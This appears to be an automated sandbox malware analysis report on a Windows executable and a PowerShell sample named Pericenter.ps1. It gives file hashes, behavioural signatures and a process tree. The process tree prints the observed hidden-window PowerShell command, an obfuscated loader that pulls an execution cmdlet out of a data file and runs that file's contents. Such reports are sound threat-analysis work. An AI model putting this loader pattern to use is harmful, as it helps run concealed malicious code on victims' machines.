Analysis
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max time kernel
122s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
07/03/2025, 14:06
Static task
static1
Behavioral task
behavioral1
Sample
4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7.exe
Resource
win10v2004-20250217-en
Behavioral task
behavioral3
Sample
Pericenter.ps1
Resource
win7-20250207-en
Behavioral task
behavioral4
Sample
Pericenter.ps1
Resource
win10v2004-20250217-en
General
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Target
4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7.exe
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Size
700KB
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MD5
ce25a78cb6991d5b684c6259f5bc2a87
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SHA1
49cafe104a00b61c9591a0c07f5896e7ce83bc66
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SHA256
4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7
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SHA512
e76af5d142303469a9918887f4565755e9813789a5b71c9f1f02524b1f3a46034550980c9552da0ae51ab3d2b2b7c987b0ef8dcbee37ad5457bcfcbcadc689b8
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SSDEEP
12288:qDGKUSd7xLweNT3wamtSkQOwGPLLgmHvfSghvpnJ4JrG/A/cEgAnRtekr2Q:2UeN3qt3pMm3PyJYqJRoQ
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2188 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2188 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2188 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2452 wrote to memory of 2188 2452 4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7.exe 31 PID 2452 wrote to memory of 2188 2452 4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7.exe 31 PID 2452 wrote to memory of 2188 2452 4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7.exe 31 PID 2452 wrote to memory of 2188 2452 4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7.exe 31
Processes
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C:\Users\Admin\AppData\Local\Temp\4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7.exe"C:\Users\Admin\AppData\Local\Temp\4186a7812c15ec48234e91b4268541455c5d3496807efe3a05afcf94c90284e7.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2452 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Lysters=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Helnode\mylohyoideus\opholdstidens\Pericenter.cya';$Kitchens=$Lysters.SubString(54802,3);.$Kitchens($Lysters)"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2188
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